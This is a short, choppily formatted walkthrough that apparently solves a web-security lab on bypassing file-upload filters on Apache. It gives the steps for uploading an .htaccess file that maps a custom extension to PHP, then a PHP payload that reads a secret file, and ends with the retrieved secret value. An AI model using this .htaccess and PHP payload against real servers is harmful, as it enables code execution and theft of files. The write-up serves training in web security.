File upload
Apache/2.4.41
-
Change the value of the filename parameter to
.htaccess
. -
Change the value of the
Content-Type
header totext/plain
. -
Replace the contents of the file (your PHP payload) with the following Apache directive:
AddType application/x-httpd-php .ptest
-
Change the value of the filename parameter to
catch.ptest
. -
Change the value of the
Content-Type
header tofile/ptest
. -
Replace the contents of the file (your PHP payload) as the following:
<?php echo file_get_contents('/home/carlos/secret'); ?>
7ZvAWSv1Xdoi9ZncVatq3WqKuBFkYe3Q